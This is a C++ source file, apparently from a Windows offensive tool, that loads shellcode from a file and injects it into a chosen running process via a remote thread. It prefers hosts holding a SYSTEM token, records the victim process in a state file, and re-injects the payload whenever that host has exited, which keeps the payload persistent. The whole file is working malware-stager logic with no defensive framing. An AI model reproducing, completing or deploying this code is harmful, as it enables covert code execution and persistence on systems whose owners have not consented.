#include "Common.h"
#include "HostStager.h"
#include "HostSpawn.h"
#include "ShellcodeUtils.h"
#include "Logger.h"
#include "Paths.h"

#include <sstream>
#include <vector>

static std::string ToUtf8(const std::wstring& w)
{
    if (w.empty())
        return std::string();

    int need = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), nullptr, 0, nullptr, nullptr);

    if (need <= 0)
        return std::string();

    std::string out(need, '\0');
    WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), out.data(), need, nullptr, nullptr);

    return out;
}

static std::wstring FromUtf8(const std::string& s)
{
    if (s.empty())
        return std::wstring();

    int need = MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), nullptr, 0);

    if (need <= 0)
        return std::wstring();

    std::wstring out(need, L'\0');
    MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), out.data(), need);

    return out;
}

static std::wstring TrackPath()
{
    return ArdrvStatePath();
}

bool GetProcessCreateTime(DWORD pid, unsigned long long& out)
{
    out = 0;

    HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);

    if (!h)
        return false;

    FILETIME created{}, exited{}, kernel{}, user{};

    bool ok = GetProcessTimes(h, &created, &exited, &kernel, &user) != FALSE;

    CloseHandle(h);

    if (!ok)
        return false;

    ULARGE_INTEGER u{};
    u.LowPart = created.dwLowDateTime;
    u.HighPart = created.dwHighDateTime;
    out = u.QuadPart;

    return true;
}

bool HostStillAlive(const HostTrack& track)
{
    if (track.pid == 0)
        return false;

    unsigned long long created = 0;

    if (!GetProcessCreateTime(track.pid, created))
        return false;

    if (track.creationTime != 0 && created != track.creationTime)
        return false; // PID was recycled into a different process

    return true;
}

HostTrack LoadHostTrack()
{
    HostTrack t;

    std::wstring trackFile = TrackPath();

    // One-time migration from the old flat layout.
    if (GetFileAttributesW(trackFile.c_str()) == INVALID_FILE_ATTRIBUTES)
    {
        std::wstring legacy = ArdrvLegacyStatePath();

        if (GetFileAttributesW(legacy.c_str()) != INVALID_FILE_ATTRIBUTES)
        {
            EnsureDirExists(ArdrvRoot());

            if (CopyFileW(legacy.c_str(), trackFile.c_str(), FALSE))
                DeleteFileW(legacy.c_str());
        }
    }

    HANDLE h = CreateFileW(
        trackFile.c_str(),
        GENERIC_READ,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        nullptr,
        OPEN_EXISTING,
        0,
        nullptr);

    if (h == INVALID_HANDLE_VALUE)
        return t;

    char buf[4096]{};
    DWORD read = 0;
    ReadFile(h, buf, sizeof(buf) - 1, &read, nullptr);
    CloseHandle(h);

    std::string text(buf, read);
    std::wstring wide = FromUtf8(text);

    std::wistringstream in(wide);
    std::wstring line;

    while (std::getline(in, line))
    {
        size_t eq = line.find(L'=');

        if (eq == std::wstring::npos)
            continue;

        std::wstring key = line.substr(0, eq);
        std::wstring value = line.substr(eq + 1);

        while (!value.empty() && (value.back() == L'\r' || value.back() == L'\n'))
            value.pop_back();

        if (key == L"pid")
            t.pid = (DWORD)wcstoul(value.c_str(), nullptr, 10);
        else if (key == L"created")
            t.creationTime = _wcstoui64(value.c_str(), nullptr, 16);
        else if (key == L"payload")
            t.payload = value;
        else if (key == L"host")
            t.hostImage = value;
    }

    return t;
}

bool SaveHostTrack(const HostTrack& track)
{
    std::wostringstream os;

    os << L"pid=" << track.pid << L"\r\n";

    wchar_t created[32]{};
    swprintf_s(created, L"%016llx", track.creationTime);
    os << L"created=" << created << L"\r\n";

    os << L"payload=" << track.payload << L"\r\n";
    os << L"host=" << track.hostImage << L"\r\n";

    std::string bytes = ToUtf8(os.str());

    HANDLE h = CreateFileW(
        TrackPath().c_str(),
        GENERIC_WRITE,
        0,
        nullptr,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        nullptr);

    if (h == INVALID_HANDLE_VALUE)
    {
        Log(L"[-] SaveHostTrack: create failed: %lu", GetLastError());
        return false;
    }

    DWORD written = 0;
    BOOL ok = WriteFile(h, bytes.data(), (DWORD)bytes.size(), &written, nullptr);
    CloseHandle(h);

    return ok && written == bytes.size();
}

bool ClearHostTrack()
{
    return DeleteFileW(TrackPath().c_str()) != FALSE;
}

HostInjectResult InjectShellcodeIntoHost(
    const std::wstring& shellcodePath,
    const std::wstring& preferredImage,
    bool requireSystem)
{
    HostInjectResult result;

    if (shellcodePath.empty())
    {
        result.error = L"no shellcode path";
        return result;
    }

    std::wstring full = shellcodePath;
    wchar_t abs[4096]{};

    if (GetFullPathNameW(shellcodePath.c_str(), _countof(abs), abs, nullptr))
        full = abs;

    std::vector<BYTE> payload;

    if (!ReadFileToMemory(full.c_str(), payload))
    {
        result.error = L"cannot read shellcode: " + full;
        return result;
    }

    std::vector<HostInfo> hosts = EnumerateHosts(requireSystem);

    HostInfo* chosen = nullptr;

    for (auto& h : hosts)
    {
        if (!h.injectable)
            continue;

        if (requireSystem && !h.systemToken)
            continue;

        if (!preferredImage.empty() &&
            _wcsicmp(h.imageName.c_str(), preferredImage.c_str()) != 0)
        {
            continue;
        }

        chosen = &h;
        break;
    }

    if (!chosen)
    {
        result.error = hosts.empty()
            ? L"no host process found (need admin or SYSTEM)"
            : L"no injectable host available";
        return result;
    }

    unsigned long long created = 0;

    if (!GetProcessCreateTime(chosen->pid, created))
    {
        result.error = L"cannot read host creation time";
        return result;
    }

    if (!InjectShellcodeIntoExisting(chosen->pid, payload.data(), payload.size()))
    {
        result.error = L"injection failed into " + chosen->imageName;
        return result;
    }

    result.ok = true;
    result.hostPid = chosen->pid;
    result.hostSession = chosen->sessionId;
    result.creationTime = created;
    result.hostImage = chosen->imagePath;
    result.method = L"remote-thread";

    HostTrack track;
    track.pid = result.hostPid;
    track.creationTime = created;
    track.payload = full;
    track.hostImage = result.hostImage;

    if (!SaveHostTrack(track))
        result.method += L"+track-failed";

    Log(L"[host] injected %s into %s pid=%lu",
        full.c_str(),
        result.hostImage.c_str(),
        result.hostPid);

    return result;
}

HostInjectResult EnsureHostInjected(bool requireSystem)
{
    HostInjectResult result;

    HostTrack track = LoadHostTrack();

    if (!track.Tracked())
    {
        result.error = L"no host payload configured";
        return result;
    }

    if (HostStillAlive(track))
    {
        result.ok = true;
        result.hostPid = track.pid;
        result.creationTime = track.creationTime;
        result.hostImage = track.hostImage;
        result.method = L"already-running";

        DWORD session = 0;

        if (ProcessIdToSessionId(track.pid, &session))
            result.hostSession = session;

        return result;
    }

    Log(L"[host] previous host gone (pid=%lu), re-injecting", track.pid);

    result = InjectShellcodeIntoHost(track.payload, L"", requireSystem);

    if (!result.ok)
        Log(L"[-] host re-inject failed: %s", result.error.c_str());

    return result;
}

std::wstring FormatInjectResult(const HostInjectResult& r)
{
    if (!r.ok)
        return L"ERR " + (r.error.empty() ? std::wstring(L"inject failed") : r.error);

    std::wostringstream os;

    os << L"OK host_pid=" << r.hostPid
       << L" session=" << r.hostSession
       << L" method=" << r.method;

    if (!r.hostImage.empty())
        os << L" host=" << r.hostImage;

    return os.str();
}

std::wstring FormatHostTrack(const HostTrack& t)
{
    if (!t.Tracked())
        return L"track=none";

    std::wostringstream os;

    os << L"track pid=" << t.pid
       << L" alive=" << (HostStillAlive(t) ? 1 : 0)
       << L" payload=" << t.payload;

    if (!t.hostImage.empty())
        os << L" host=" << t.hostImage;

    return os.str();
}